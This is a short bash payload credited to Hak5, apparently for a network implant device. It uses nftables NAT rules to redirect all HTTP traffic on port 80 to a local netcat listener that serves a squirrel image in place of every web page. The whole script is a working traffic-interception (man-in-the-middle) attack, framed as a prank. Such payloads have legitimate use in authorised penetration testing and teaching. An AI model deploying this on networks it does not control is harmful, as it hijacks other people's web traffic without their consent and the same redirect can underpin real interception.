#!/bin/bash

# Title:        Minimalistic web intercept
# Description:  Replace HTTP with Squirrels.
# Author:       Hak5
# 
# squirrel.jpg from Wikipedia
# https://upload.wikimedia.org/wikipedia/commons/6/68/Sciuridae.jpg
# By Chicoutimi (montage)KarakalAndiWNational Park Serviceen
# User:Markus KrötzschThe Lilac Breasted RollerNico Conradie from Centurion, 
# South AfricaHans HillewaertSylvouilleNational Park Service - Own work, CC BY 3.0, 
# https://commons.wikimedia.org/w/index.php?curid=10213698

NETMODE NAT
LED B SOLID

# Add a web payload to the nftables
nft add table ip webpayload

# Hook prerouting
nft -- add chain ip webpayload prerouting { type nat hook prerouting priority -100 \; }

# Redirect port 80 to our local 8080
nft add rule ip webpayload prerouting tcp dport 80 redirect to :8080

while true;
  do echo -e "HTTP/1.1 200 OK\nContent-Type: image/jpeg\n" | \
    cat - /root/payloads/$(SWITCH)/squirrel.jpg | \
    netcat -l -p 8080; 
done